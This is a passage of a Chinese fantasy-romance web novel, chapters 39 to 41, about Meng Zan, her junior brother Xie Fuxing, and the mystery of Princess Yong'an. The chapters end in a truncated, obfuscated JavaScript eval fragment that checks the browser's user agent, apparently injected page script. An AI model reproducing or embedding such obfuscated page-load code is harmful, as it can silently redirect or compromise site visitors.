北冥凌的确乐观了好几天,然而看着新来的那张冰块脸,他就没那么乐观了。 “你怎么也进来了!”北冥凌极力表现出一副丝毫不意外但是还是要演一下惊讶的样子。 苗昊比起北冥凌要更惨一些,北冥凌洗干净了脸,加上这几天在宫中过得不错,脸都圆润了些,倒是苗昊东躲西藏的,整个人都有些灰头土脸。 北冥凌一屁股坐在椅子上,自我安慰道,“没事还有谢赴星,我相信谢小师弟英明神武,一定有救我们出去的方法。” 接下来孟簪告诉北冥凌真相后,北冥凌可见的碎掉了,他趴在桌子上,彻底心死了,“我不要一辈子待在破晓国啊!” “我是男人,爷们就应该战斗!在皇宫里做男宠算什么东西!”哭天怆地完,他回头看向苗昊,“你怎么一点儿都不难过?” 苗昊沉默了很久,给出了一句话,“她在宫里。” 听了苗昊的话,本来幸灾乐祸的北冥凌更悲伤了,“好啊你,说好了一起守身如玉,你不仅不守,连爹都快当上了,到时候你在皇宫相夫教子,我在一边睡觉拉屎,这叫什么日子啊!” 深知这两个不能凑在一起的孟簪只觉得接下来的日子要不好过了,看着泣不成声的北冥凌和沉默寡言的苗昊,她还是安慰道,“其实情况也没有那么糟,我们还是有机会靠自己出去的。” “所以谢赴星身上是有永安公主的历史?”苗昊若有所思地看向了孟簪。 一旁的北冥凌立马出声替谢赴星辩驳道,“其实我瞧着谢小师弟也不像是知情的模样,我倒是觉得现在的关键是找到千百年前那个鲛人国师。” “我感觉有没有可能是骗人的,我的意思是说鲛人是骗人的,国师是真的,他把你的心藏起来了。” 鲛人毕竟已经消失在众人眼中多年了,北冥凌不相信鲛人出现倒也无可厚非,不过孟簪觉得藏起来是很有道理的,那会藏到哪里去呢? “最危险的地方便是最安全的地方,或许它从来没有离开过皇宫。” 苗昊的一番话让孟簪骤然顿悟。 门外之人敲门的动作一顿,转身走了几步,暗卫迎了上来,“国师,他已经死了。” 宋故封看着庭中落叶,问:“可确定了?” “人和马坠落万丈悬崖,活下来的概率几乎为零。” “知道了,下去吧。” 孟簪心间突然一阵抽痛,她垂眼发现手腕上的阵法极速黯淡了下去。 人死阵灭。 小师弟,死了? 39. 第三十九章 第三十九章 不周山的冬天很冷,大抵就是裹了棉被出门也是要冻伤的。 不周山大弟子周悯雪站在山上观望着台阶下缓缓挪近的两个白点,在山头蹲了会儿,等人走近后心里也觉得不太好意思,但还是清了清嗓,他刚准备开口,“今日师尊……”不接待人四个字还没说出口,一团雪球就被稳稳扔入他的脖颈旁, “我靠!冻死我了!你这小丫头怎得如此不讲道理!” “你要不接待人就在山下立块牌子,等人爬上来了再拒绝算什么英雄好汉?”对于这站在山头的男子,孟簪一眼就看出这人大抵是第一次做这种事,浑身上下都心虚的紧,偷偷打量着自己的视线是半点藏不住,“你身边这个人,诶,是个瞎子啊!” 大雪天,一个弱女子和一个瞎子,听着还挺可怜的。 周悯雪咬着牙,算了被师尊骂个几句就骂了几句吧,要说让他把这两人扔在冰天雪地里,他是做不出来的。 一边带着往里走,他一边在懊悔自己怎么就随意答应了师尊这门苦差事。二师弟有事出门,本来这事都是由师弟来负责的。那么多年的大雪休期无一人能从他眼皮底下进来,这句弟子们的评论今日周悯雪才意识到其中的含金量,师弟不愧是师弟,这般铁石心肠,怪不得进门修个三年,修为和法术都快超过他了。 孟簪是知道每年不周山雪日休期这件事的,一年不周山,半年下雪日。等个一年半载孟簪倒是没什么,但是这谢赴星的脑袋怕就是要烧坏了。 思索到这,孟簪回头看了眼裹得严严实实,小脸通红的谢赴星。所幸这人一身傲骨,宁死也不要孟簪扶着,这一路都是靠自己爬上来的,饶是孟簪都有些钦佩了。 可惜这路还没走个几步,那带路的男子像是被人打了一拳,突然地半跪在地上,往前吐了一大口血,点点红梅在雪色之中格外显眼,虚空中传来苍老的声音,“悯雪,你第一天当值怎么就如此不守规矩,这般随意地带些阿猫阿狗进来!我已经让你师弟过去了,自觉领罚退下吧!” “前辈,稍等!晚辈孟簪,师从无量道仙荀攸良,托师父之名特来拜见前辈。” 只是空气安静了下来,周围只剩下些凛冽寒风的声音,周悯雪捂着胸膛,回头惊讶地看向孟簪道,“荀攸良?你是那个懦夫的徒弟?” 孟簪脸色稍沉,刚想要开口说话,一道冷冽如同这漫天白雪的声音打断,“师兄,你该去领罚了。师尊说这里交给我处理。” 出现的男子和周悯雪穿着同样的道袍,但五大三粗的周悯雪穿着只是能穿的道袍,放在这人身上却是恰到好处的合身,素色白袍正常人穿着都会有些寡淡,眼前的男子却穿出来了不食人间烟火的孤傲清冷。这不周山大弟子姿色平平,不想这二弟子却如此秀色可餐。 孟簪把欣赏的目光压下,客套道,“在下无花宗孟簪,不知道长如何称呼?” “我姓荀,单字一个药。”荀药的目光错过孟簪,落在她身后的谢赴星,蹙眉反问,“他是?” “他啊,他是我师父收的小师弟,叫谢温年。”孟簪很快地就接上了荀药的话,说着不由分说地牵住了谢赴星的手,屋外大雪飞扬,孟簪发间就落了不少白雪,整个人也是发冷。可是摸到的少年掌心灼热,谢赴星抿着唇,不言不语,察觉到他想抽回手时,孟簪朝荀药解释道,“我小师弟比较害羞,自小不怎么下山,荀道长还勿见怪。” 好在——荀药好像并没有意思多管两人。 “往这里走。” 荀药带着的这条路和孟簪过去走的都不一样,况且人实力远在自己之上,孟簪心里不由得有些忐忑,这不周山的师尊不会说话不算话,让这位荀药把自己和谢赴星直接杀了吧? 孟簪回头看了眼因为生病而神色恹恹的谢赴星,再看了眼走在前面男子宽肩窄腰的背影,不禁问了声,“荀道长,这条路怎么和我之前走的都不一样?” 他脚步不带半点停顿地冷淡道,“哦。” 好吧,孟簪看出来了,这哥们一定信奉沉默是金。 一路上这荀道长跟个人机一样,只会回哦嗯是这三个字,好在一路的提心吊胆总算是走到了头,看着不远处的别院,孟簪想总该是到了。 这时,身旁的谢赴星摇摇晃晃,一个脱力往前倒去,孟簪及时将对方扶住,才不至于直接砸在地上,她低头这才看清少年唇色没有半点血色,两颊却红得可怕。 “荀道长。” 侧立在一旁的荀药蹲下身,这才反应过来师尊说的话,问:“你们不是来拜见师尊而是来看病的?” 了解情况后的荀药刚想给谢赴星把个脉,少年就睁开眼,冷冰冰的一个眼神让荀药顿了晌,这个视角恰好孟簪看不见。 “不要碰我。”漂亮到不像话的少年郎开口说话时却比这冬雪更加冷上三分,他眼中的厌恶更是直接,他一把拍开了荀药的手,把头转了过去,少女身上的馨香包围了他,隔绝了冰雪。 荀药不是自讨没趣的人,孟簪一把捂住了谢赴星的嘴,生怕他把荀药给惹火,温声解释道,“我师弟他的意思是不想在这雪地里看病。我看,荀道长不如先就近带我们找个地方坐下?” 孟簪是没想到这谢赴星跟开了自动模式一样,上一秒刚昏过去,下一秒就醒了过来。 那次看完病后,为了怕谢赴星再这样不爱惜自己的身体,孟簪拜托荀药在她和谢赴星的手腕上留下了这个阵法。 阵法名叫双生阵,印有该阵法的双方只要愿意就可以互相感应到彼此的存在,直到其中一方死去,阵法消失。 见孟簪脸色难看,苗昊出声关心道,“柳姑娘,是发生什么事了吗?” 可如今双生阵灭了,发生了什么不言而喻。 “小师弟……死了。”她喃喃低声,心里却怎么不愿意相信这个事实,他如今那么厉害,怎么会如此轻易死去? 北冥凌和苗昊听清孟簪的话语后都是神色各异。 “好端端的怎么说出这种不吉利的话来?” 北冥凌的话语在孟簪耳畔逐渐远去,取而代之的是每一幕远远望着他的场景。 “小师弟,恭喜你又是魁首!” “小师弟要是没有你我可真不知道怎么办了。” 是受众人簇拥,不卑不亢的鲜衣怒马少年郎。 也是她孟簪早早发现的一座宝藏。 “柳姑娘你也别……太难过。”苗昊看出来孟簪定然是有什么方法可以知晓谢赴星的生死,这话不是谎话,而是再货真价实不过的真话。 一脸状况外的北冥凌不解的看着两人,“不是!你们在说什么屁话,谢赴星定然是在外面哪个地方潇洒着呢!什么死掉不死掉的!” 苗昊瞪了眼北冥凌此刻真是恨不得把对方给毒哑,一把捂着对方的嘴,拖到角落里,留下空间让孟簪冷静。 孟簪对于中间的两年不曾了解,但是她认识少时的谢赴星,他敏感孤僻,但也一心赤忱,他双眼目盲却看得清人心险恶。所以无论如何,孟簪从一开始都不会对谢赴星抱以恶意,往后就算再多年,他谢赴星也是孟簪心中唯一的正经八百的师弟。 可是如今却告诉孟簪,谢赴星死了。 那个寒风雪天,明明傲娇不过却还是愿意牵着她手的少年,那个见她落水跳下去救她的小师弟,那个仙门大比惊艳了众人的天才竟然就这般陨落,孟簪不能接受。 想到自己暗恋多年的人死了,这比他人设崩塌了更令孟簪感到难过,许是小师弟这人设崩的也在孟簪意料之中情理之外,所以孟簪对于谢赴星是个白切黑这件事睁一只眼闭一只眼就过去了,可是……眼下人死了。 两行泪瞬间就那么下来了,“小师弟,你死得好惨啊!” 一旁的苗昊捂着北冥凌的嘴,挣扎剧烈的北冥凌扭头看向哭得上气不接下气的孟簪这回算是明白这回事了,他递给苗昊一个松开我的眼神,可惜苗昊跟个瞎子一样,根本不为动弹,于是北冥凌一脚猛地踩上苗昊的脚。 “嘶。”苗昊抱着腿瞬间跳了起来,而挣脱束缚的北冥凌一个滑步跪在了孟簪旁边,自觉掏出一个火盆,递给了孟簪一把黄纸——实则都是他画废的符纸。 “师姐如果哭出来可以好点的话,你就哭久一点吧。这种感受我懂。”北冥凌也经历过挚友死亡的痛苦,所以此刻也是一把一把地往火盆里扔纸,许是看见孟簪掉泪,北冥凌想到了自己的故友也不禁落了泪,看着痛哭的两个人,自认无奈的苗昊把窗给打开了,防止两人因为中毒死在里面。 窗外下了小雨,秋叶泛黄。 好好地哭了一场,孟簪也及时振作了起来,她要出去,找到杀害谢赴星的凶手! 见到孟簪重新振作起来,苗昊也是舒了口气,瞥了眼仍然萎靡不振的北冥凌,他把自己想到的东西说了出来,“我要是想藏匿一项东西的话,肯定会找到一个无人到访的地方藏起来。” 无人到访的地方?孟簪知道去哪儿找了。 藏书阁。 看着里面到处都是灰,北冥凌在门口踌躇了一会儿,还是被苗昊硬生生拉了进来。防止他一个人被人发现,从而三个人再度被抓回去。 北冥凌捂住口鼻,随意瞥了眼周围,总结,“这里看着都是很古老的书籍了,应当不会有什么别的东西了。” 说着他随手拿起了一本看着还比较干净的书,“你看,这种童话话本还有,这都是多少年前的故事了,小蝌蚪找爸爸?这故事倒是没看过。” 苗昊见北冥凌一脸津津有味看书的模样,黑着脸上前,正想抢过书,不料北冥凌突然像是忍不住的抽搐起来,“哈哈哈哈人才,这是谁写的评论,小蝌蚪找爸爸,小头支配大头的一生。” 苗昊拿过书,翻到了第一页,在书页的第一页看到了两个字,工工整整的永安。 “这是……永安公主的书?” 北冥凌倒是有些出乎意料,“我还以为永安公主是个古板枯燥的老女人。” 苗昊瞥了眼北冥凌,冷言道,“怕也有你这样的人会觉得一个一力挡住两国联军的女子,会是个古板枯燥的老女人。” “我们历史上那么写着的嘛!”北冥凌不服气地呛了一声,孟簪确实翻到了不少童话话本,她拿起被自己放在一旁的一本,翻开第一页,果然看见了永安公主的签名,她的字很工整,短短两个字如行云流水,笔画之间,尽显苍阔胸怀。 “这童话书,最后是不是不太对劲。”孟簪翻到最后一页,却觉得故事好像没有结束,却被人撕下了结局,尾页的纸似乎有些厚,孟簪看着糊上的白纸,毫不犹豫地把尾页的封面撕了下来,北冥凌当下脸色不对,“不是啊 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他孤身一人而来,进门的瞬间把门给关上了,不知是不是孟簪出了错觉,对方的眼眶红了。 “我说什么了?”孟簪见对方是真得哭了,打心底有些害怕了,能让宋故封哭着对自己说的,永安公主当年不会又骗财又骗人家心了吧。 偏生,一旁的北冥凌还看热闹不嫌事大,煽风点火道,“对啊对啊,姐到底对人家说了什么?你不能做渣女啊。我作为好兄弟自然会为宋兄做主的。” 孟簪朝北冥凌低声质问道:“不是,你到底哪一头的?” 北冥凌把头发一扬,颇为自信道,“我是代表正义的使者自然是选择正义的一方,我的道德水准很高的。” 倒是没看出来,孟簪见宋故封哭了,只觉得头皮发麻,只好干巴巴地说出几个字来,“你别哭了。” 你哭也没用啊,我也不是那个负心女永安公主啊! 孟簪多想说出这句话,却见对方手上提着盏灯,反应颇快的北冥凌指着灯盏,困惑道,“寻魂灯怎么在你手上?不是被谢师弟带走了!不对啊,谢师弟不是死了吗?” 寻魂灯,孟簪抬眸,看向宋故封,“你杀了他?” 回答她的是珠子落地的清脆声。 “落泪成珠。”一个几乎是不可能的想法划过孟簪心头。 他是半鲛人。 “在国师死后很多年,你走不出来,于是我被找到了。”他抬起红的眼眶,对上孟簪的杏眼,那双从未存在过他身影的眼眸。 所以到头来,宋故封竟然只是国师的替身。 这国师到底有多优秀,多年走不出来,甚至还让永安公主去找替身。 “是不是你杀了谢赴星?”孟簪沉默了几秒,看向宋故封,恍若一个陌生人。 宋故封骤然失笑,眼泪夺眶而出,“哈哈哈哈哈等了百年,到头来你心里终究是还只有他。你又为何不问我为何要杀他呢?” 他受着伤,提着寻魂灯,却觉得自己像是个笑话,从头到尾,他从未得到过自己所想要的。他一步一步走向孟簪,“你走后百年,我守了百年,在此期间,我一直演着那个人,好像只有这样,你才可以看到我。” 孟簪被对方逼得步步后退,“我不是永安,宋故封你还不明白吗?百年前的事情早就尘归尘,土归土了。放不下的不是永安公主,一直都是你啊!” 被戳破心思的宋故封喃喃自语道,“你不永安公主,你不是,她根本不会这样。她不会那么对我说话的。你不是!” 孟簪见宋故封这副为情所困的样子,往旁边挪了几步,不料被宋故封一把拉住孟簪的手,在他的手快要碰到孟簪脸的那一刹那,连孟簪觉得自己这回怕是要折戟沉沙于此了。 “谁说,我死了?” 在这千钧一发之际,那人懒散的声音落下,孟簪抬眸。 那破开门,一身耀眼红衣的不是小师弟,又是何人?! 那少年郎俊美的面容上带着若有若无的笑,像极了初见他的每一刹那,都是这般从容不迫。他脚踩着祥云黑靴,发丝利落地扎了个高马尾,这一路匆匆,头发已经有些凌乱了,几簇发丝恰成刘海被风吹过,他眉心一点朱砂灼灼,目光不骄不躁地划过众人,最终落在孟簪身上,勾了勾唇质问道,“谁传的谣言?说我死了。” 北冥凌闭上了嘴,有些做贼心虚的低下了头。 孟簪一双眼里写满了不敢置信和劫后余生,是惊喜更是庆幸。庆幸有生之年竟然还可以重逢,这种失而复得的心情太过于复杂,从而让她忘记了眼下的危险处境。 谢赴星的剑很快地分开了两人,宋故封后退了一步,冷声道,“你竟然还敢回来?真是不怕死。” “国师谬赞了。我可是公主钦点的皇夫,就算是公主想给我戴绿帽子也轮不到国师吧?”谢赴星的目光落在了宋故封那双差点碰到孟簪的手上,漫不经心道,“国师怕是不知道,我这人挺记仇。” 后来,孟簪是怎么稀里糊涂地掉入这里稀奇古怪的地方,她也记不清了。只是不经意抬眼看到壁画那刻,孟簪惊呆了。 因为画中人拥有一张和谢赴星一模一样的面容。 40. 第四十章 第四十章 两人打斗混乱中,谢赴星抬手间不小心触发了机关,光束乍起,一眨眼便和那时离他最近的孟簪那么一起传送到了这个鬼地方。 孟簪是在他后面醒来的,看到女子眼中不加掩饰的震惊,谢赴星不以为意地把玩着手中的刀,他背靠着石壁,一副风轻云淡,百般聊赖的样子。 石壁上画着的壁画并不难理解,讲述的是从国师来到破晓国后发生的故事。身着繁琐宫装的那个应当就是众人口中的永安公主了,而站在她身后不远处的白衣男子大抵便是破晓国国师,只不过最让孟簪匪夷所思的是这国师的面容,简直是和谢赴星一个模子里刻出来的。 “你……”孟簪一时拿不准谢赴星的身份了。 眼前之人到底是谁,破晓国的国师?还是谢赴星? 犹豫了会儿,孟簪选择果断地蹲下,隔着衣袖将谢赴星的手拉起,手腕上的阵法在她的灵力催动下缓缓出现,幸好,眼前人是谢赴星无疑。 见到孟簪如此紧张,谢赴星勾唇嘲讽道,“师姐,分得清楚吗?我和他。”青年的容颜在光亮里中逐渐清晰,那双眼中清清楚楚地写着讥诮二字,他像是事不关己的陌生人,淡然地看向孟簪。 那一瞬间,谢赴星想起了那晚醉酒,她捧着脸,眼睛亮亮地对自己说,我自然认得你,你是我的心上人。 可是她嘴上的喜欢这般随意,他看不见半点真心,正想出言之时,身旁传来孟簪稳定的声音,“小师弟在我眼中自然是独一无二的。” 听见孟簪的回答,谢赴星脸上既没有惊,更不见喜,“师姐是不是误会了什么?我可不是那种旁人夸我两句给颗糖就开心的稚童,像这般不走心的夸赞,听了便让我觉得很是厌烦。” 他笑着,眼底却尽是冷意,“我看这里倒是个好地方,就算是死了也是悄无声息的,师姐觉得如何呢?” 谢赴星语气悠然,俊美的面容上直白地写着不好惹三个字,他像是王府里吃饱喝足的猫儿,在孟簪面前挥动着爪子,更像是年休里闲下来的阎王爷,漫不经心的和孟簪谈论着生死。 “挺好的。”孟簪却没按套路出牌,回头继续看向壁画,“百年前永安公主和国师,今日我孟簪和你谢赴星。怎么不能成就一段佳话呢?” 这显然戳到了谢赴星的痛点,让他想起了在外面流传甚广的有关他和孟簪的低俗话本,脸上本就浅淡的笑容更虚伪了,“师姐不想死的话还是少说些话为妙。” 壁画上的故事和外界的传闻都不一样,而且越看到后面越让孟簪感到触目惊心。 当年西炎和北冥两国联手向破晓国发起围攻,当时国内本就因那位国师的离去而动荡不安,在国内外双重夹击之下有一不足十岁的孩童被永安公主推上了国师的位置。 而永安公主……听信那统军将领的一句戏言,跳下了城楼,尸骨无存。在那些有关公主的历史里,这一段是残缺了的。永安公主她没有对不起任何人,可于她自己而言,她却深觉对不起每一个人。在她心里,有崇高的国家,有黎民的百姓,可唯独她自己的性命是这一切中最无关轻重的。 而她跳下城楼后,那些个将首并没有按照承诺撤兵,而在他们踏开城门那刻,一颗珠子从永安公主心口冒出,挡住了所有人的去路。 看到壁画的这里,孟簪好像在哪个古籍里看过这颗珠子,她从袖口里掏出了好几本书来,总算在其中一本里找到了有关于这颗珠子的传闻。 “定坤珠,可保飞升之人无痛飞升。” 孟簪不知为何突然想起那千年前因为雷劫而飞升失败的剑道天才,罕见的那位天才是个女子。。 “怪不得这仙门百家来得热闹了,原来就为了颗珠子。”听见谢赴星懒散的评价,孟簪问,“师弟可认得这珠子?” “定坤除雷,保人飞升。”谢赴星认得也不让孟簪意外,毕竟细细想,这珠子还挺克谢赴星的,人家引雷,这珠子收雷可不就相生相克吗! “师姐,看样子怕是不知道这珠子可是邪门的很。以人身体为寄居,若是这宿主死了,死后便会吸收宿主所有的灵力,故有可以抵挡天雷的能力。” 看着壁画上那刻金光闪闪的珠子,孟簪看得到是血淋淋的背后,吸收了一个又一个宿主的灵力,一阵恶寒自脚底上升,她侧眸看向谢赴星,青年已经从地上站起,他抬着头正盯着那个国师看。 小师弟会是那个国师的转世吗? 孟簪不知为何想到了这种可能性,相同的面容,倘若不是转世,那未免也太巧了。 “明明手握至宝,却跳下城楼,太蠢了。”谢赴星毫不遮掩心底的想法,看向那幅公主跳下城楼的壁画,十分鄙夷。 孟簪没有评价,而是环顾了一圈四周,这才意识到两人是被困在了这里,怪不得谢赴星不丢下自己走呢!感情也是被困在了这里。 “这里有些怪,你有听到水流的声音吗?” 孟簪的直觉是对的,谢赴星下意识的反应透露出他也察觉到了,这个地方是被压在了水面之下。 然而,下一秒变故发生,谢赴星那双手骨分明的手死死地握住了孟簪的脖颈,孟簪没想到,自己还是忘记了防备谢赴星,她艰难出声,“谢……温年。” 他的手骤然松开,孟簪滑落在地上,死命地咳嗽,咳得眼眶都红了,怎么都没想到自己怎么差点又要被谢赴星给杀死了,在对方开口之前,孟簪抢先一步发言,“没我,你出不去。” 寂静的壁画前,红衣的青年俯下-身,眼神不带任何色彩地划过孟簪的眉眼每一寸,“可是师姐,我没打算出去呢。” 没有从孟簪脸上看到惊慌失措,谢赴星觉得有些索然无味,但是面上不显,他继续心情颇好道,“毕竟我找到比出去更好玩的事情,师姐想听听吗?” 谢赴星的话语禁不起推敲,会让人感到毛骨悚然的。 更何况,谢赴星这人恶趣味十足,他越是想让孟簪害怕,孟簪就越不能表现出害怕的情绪来。 女子银铃般悦耳的轻笑声打破沉静,她眉目间看不见半点惊恐,而是颇感兴趣地反问,“你想怎么玩?” 孟簪扶着石壁从地上站起,手从脖颈上松开,脆弱的脖颈已然发红,可她面上很是淡定,“师姐陪你玩。” 谢赴星是见过孟簪吓得不清的样子,也曾多次在落魄之时救下孟簪,但此刻从容不迫的孟簪倒是他没见过的样子,让他打心底觉得新奇,怎么说呢,有点眼前一亮,谢赴星敛下眼睫,轻声道,“师姐不问游戏规则吗?” 谢赴星步步逼近,他身上苦涩的药草味混着淡茶香包围了孟簪,侵袭入她的鼻间,直到后背碰到冰凉的石壁,她抬头对上青年那双深情眼,他眼底的笑意如水纹层层荡开,“和我博弈是要有赌注的,我的赌注。” 他顿了下,“是——师姐的命。” 孟簪只觉脖颈间疼得更加厉害,对方步步紧逼无疑把自己逼到了死角,骑虎难下,眼下不答应怕是不行,可是倘若输了,孟簪毫不犹豫地相信,谢赴星是真得会杀了自己。 “我的赌注是你的记忆。” 孟簪抬眼,对上谢赴星眼中的深沉,“你失忆了对吧?” 孟簪觉得此刻的自己就像是站在悬崖峭壁上的勇者,只要踏错一步,就将坠落悬崖,粉身碎骨。 她顶着谢赴星的目光继续道,“我可以帮你恢复记忆。” 因为过度紧张,外表镇静的孟簪还是下意识地咽了口口水,“我是个好人。” 不料,青年嗤笑道,“没有一个坏人会说自己是坏人。” 话落他反问孟簪,“何为好人?何为坏人。” “于我而言,你今日杀了我,便是坏人;你放过我,便是好人。”孟簪的话语简单易懂,落在谢赴星耳朵里,翻译过来无非就是利她者善,不利她者恶,无论如何好像都是他这位师姐一句话的好坏,他问:“倘若我不想放过你呢?” 听到这句问话,孟簪也是颇为庆幸自己还留了一招后手,继续字字铿锵道,“我在无花宗留了封信,倘若我没出现,会有人向天下所有人揭发你的所作所为。谢赴星有把柄的是我,而不是你。你可以杀了我,可倘若我没活着回去,仙门百家都会知道你谢赴星的所作所为。” 孟簪这一番话可真是把自己从生死线上拉了回来。 因为肉眼可见的,谢赴星身上想杀她的戾气淡了。 但是他无所谓的态度让孟簪有些举棋不定,摸不透对方真实的情绪,只见对方微笑道,“师姐觉得我会在意?” 孟簪只能赌,一双杏眼丝毫不逊色地瞪了过去,却听少年人颇为意味深长道,“天下人如何看我,与我何干?”谢赴星的手扣住孟簪的下巴,“我不喜欢这样的眼神。下次若是再从师姐脸上看到这般的眼神,我便把师姐的眼睛挖下来。” 随即像是很嫌弃地放下手,往后退了几步,一边拿手帕擦着手,一边朝孟簪问道,“怎么出去?” “……”原来是在这里等着孟簪。 “我为什么帮你?”孟簪心中满是愤慨,她可还记得这人上一秒还信誓旦旦地说要把自己的眼睛挖下来。 “因为你是好人。” 好好好,果然有道德的人就是会被道德绑架,孟簪环胸,想了想还是说,“我可以帮你,但你下次得放过我。” “不行 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“呜呜呜呜我不想死啊!”北冥凌的哭声听得苗昊太阳穴突突的,他很是不耐烦地瞥了眼这个被困在牢房里已经哭了一天一夜的人,实在是觉得大惊小怪的紧,不就是被关个一时半会儿,心理素质真差。 这是牢门传来开门声,苗昊闭上眼自觉装死,不料耳朵立马受到了更强的重创,身旁那个方才还哭天昏地的人惊呼道,“你又没死!?” 孟簪:“……” 北冥凌这人好像成天都希望自己死一样。 她撇撇嘴道,“你应该问我是如何出来的?” 然而北冥凌听起来并不关注这个,而是跟个机关枪似的和孟簪诉苦道,“宋故封说要把我斩首示众。” “还污蔑是我偷走了公主的心!”最令北冥凌愤愤的是这一点,他好心帮人宋故封找东西,反而被倒打一耙,实在是可恶至极。 “公主的心呢?被宋故封拿走了?”谢赴星看起来也是了解这件事的,于是好整以暇地问了句。 北冥凌点点头,神色有些凝重地嘱咐道,“你们小心点,我听说他背后有帮手。” 在和谢赴星出来之前,两人约法三章,他帮孟簪拿到寻魂灯,而孟簪帮他恢复记忆。 再次见到孟簪安然无恙出现在面前,宋故封好像一点儿都不惊讶,反倒是给孟簪一种,他已经等了自己颇久,“你来了,公主。” 不久前,那人刚刚离去,宋故封疲惫地和她说:“一切到此为止吧,我不会再帮你。” 结果便是遭到了那人的冷嘲热讽,“哈?你不会真得爱上了她吧?宋故封你看清楚!她可不是当初的公主,她是个什么样的货色你不应当最清楚了!” “……她是无辜的。”宋故封抬起那双历经桑田后,依旧执着的黑眸。 而今眼前,“那张历史上到底写了什么?”孟簪只问了一句。 得到的是对方的沉默:“……” “是辱骂我的话对不对?” 孟簪猜对了。 “所以你才不愿意归还这份历史,因为你不希望看到你所敬爱的公主千年甚至万年后受人唾弃。” 宋故封已经不敢看向此时的少女了,因为在他身上,他窥探到了,那份属于永安公主的影子。 “可是宋故封,你的公主比你想象的要强大。” “她是独当一面的女王,而不是被你保护在掌心的金丝雀。百年前的那份故事应该完整了。” 谢赴星觉得孟簪这人确实有点邪门,这些道貌岸然的话,他平日听了多半要冷笑出声,可是如今他却不动声色地听完了。 宋故封阖眼,“我是千古罪人。” “放心。”再次睁眼,不远处的女子笑着,笃定而又神采飞扬道,“你的公主不会让你成为罪人的。” 明明是一身简单不过的素衣,他却在这样好看的女子身后看见了光芒。 那人朝自己伸出手,“走吧。这一次,我们一起。” 百年前的恩也好,怨也罢,总该有个故事的结尾。 那时的稚童活了百年,却从未有一天为自己活过。 这一刻,宋故封好像懂了,他为何会那么执着抓住眼前的女子,大抵……是因为那份蓬勃的生命力。少女就像是云间的风,自由不羁,如果想要抓住,那便注定是场虚妄。 明明是三个人,却觉得自己像个电灯泡的谢赴星:…… 擦肩而过那刻,甚至还听到宋故封发自内心的一句,“谢谢你,国师。” 谢赴星不懂为何宋故封也把自己认为是那国师,但是这副有些耀武扬威的姿态着实让谢赴星气得牙痒痒,于是阴阳怪气地回复道,“不客气。” 41. 第四十一章 第四十一章 梵音寺,菩提树下,有两人对坐下棋。 越下到后面,老者的面色愈发凝重,在落子瞬间,少年只手拦住他的棋子,无妄抬起浑浊的双眼,苍老的声音幽幽提醒,“太子殿下,落子无悔。” 风起,吹起君裴安两侧的胡须刘海,绣着祥云纹样的苍青色衣摆因风而扬,他却笑而不怒,“孤自然知道,孤只不过是提醒住持,你已经输了。” 无妄抬眼看向这位喜怒向来无常的太子,对方修长的指尖在空中虚虚划过棋盘上的四颗棋子,无妄这才发现角落里早已被蚕食的棋子。 抬头这位太子正撑着下巴欣赏他眼中的震惊,颇为慢条斯理道,“住持这般老眼昏花,若我以四国为棋子,天下为棋盘,住持你又该如何挡我?或者说,你又如何拦得住我?” 他起身,无妄看向不远处萧瑟的秋叶在风中阵阵摇落,“君王于天下,总是会有牺牲的。” 无妄知道对方这席话没有说谎,因为眼前人的修为竟然已经到了他看不透的地步,“你结婴了?” 那双眼睛如鹰锐利地看向了眼前玩世不恭的少年郎,却不料少年只是一笑,弯起眉眼,“怎么,住持的法术竟然倒退到这个地步了吗? “竟然……连剑宗最低等的法术都看不透了吗?”君裴安似笑非笑地扬唇。 而无妄心里一哐当,意识到自己被君裴安给套了话,向对方泄露了自己法力倒退这件事,有的时候人的确该认命,但是不该是此刻,至少无妄主持现在还不想被人发现,“倒不倒退的,太子殿下试试不就知道了?” “试不试的我倒是无所谓,但无妄大师一把年纪了,我怕到时候说我欺负老人就不太好了。” 梵音寺的钟声响起,响彻整个破晓国,此时跟在孟簪身后的宋故封顿时脸色大变,在孟簪没反应过来之前,宋故封人已御剑朝着梵音寺的方向而去,混乱声中,孟簪耳畔唯有青年澄澈的声线懒洋洋朝她道,“师姐还不追吗?宋故封可是快连影子都没有了。” 孟簪扭头看向光与影交界处的谢赴星,耳畔喧嚣远去,好像只有眼前的他是真实的,是孟簪可以触手可及的,“谢赴星,你说有些事情如果注定改变不了结局,你会怎么办?” “师姐,逃避和隐瞒永远都不会是解决问题的方法。” 他眉心的朱砂绝艳,一如多年前初见惊鸿,他活得很通透,有的时候孟簪也会痛恨这种通透。 “那个……其实我还不太会御剑。”孟簪刚坦白实话,就见少年眉眼弯弯,“无碍,我送师姐一程。” 孟簪正想说谢谢,就被谢赴星抓着衣领拎起,“追云。” 追云听了主人的命令,犹如急箭迅速追了上去,除了窒息,其他都挺好的,孟簪下来的时候腿还是软的。无他,任谁被挂在空中挂了一盏茶的时间,都不会有一个好心情的。 孟簪好不容易扶着树站稳,就被谢赴星提醒道,“接下去的路,师姐自己就去吧。” 孟簪:??? 看着这地动山摇的梵音寺,孟簪进去除了送人头,就是送人头的作用。 许是看出了孟簪眼里的震惊,谢赴星解释了句,“寻魂灯就在里面了,我已经帮你寻到了。至于能不能拿在自己的手上,就看师姐你自己的造化了。” 孟簪盯着谢赴星看了会儿,觉得肩上顿时重了很多——谢赴星放在她身上护体的灵力撤走了。许是为了让孟簪知难而退,这里面散发出来的灵力气息只会高于金丹,也就谢赴星脸不红心不跳的,会让孟簪误以为很轻松了。 “你不敢?”激将法在什么时候都会很好用,但孟簪低估谢赴星的心境了,他只淡淡瞥了眼孟簪,认同道,“对,不敢。” “……”孟簪拿谢赴星是没法子了,只好硬着头皮往梵音寺走去了,但刚到炼气大圆满的她没走几步就单膝跪地,倒在了地上,吐了血后的孟簪呆呆地望着天空,思考是她凭实力拿到寻魂灯的概率大还是寻魂灯突然掉在她面前的概率大。 直到一双金丝黑靴映入眼帘,来人朝孟簪伸出手。 孟簪没想在这里可以碰见故人,思忖了很久但是关切地问了句,“你怎么会在这里?” 按理来说,这人独立于四国之外,本不该牵扯进破晓国的事情来。 “故人之托。” 不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 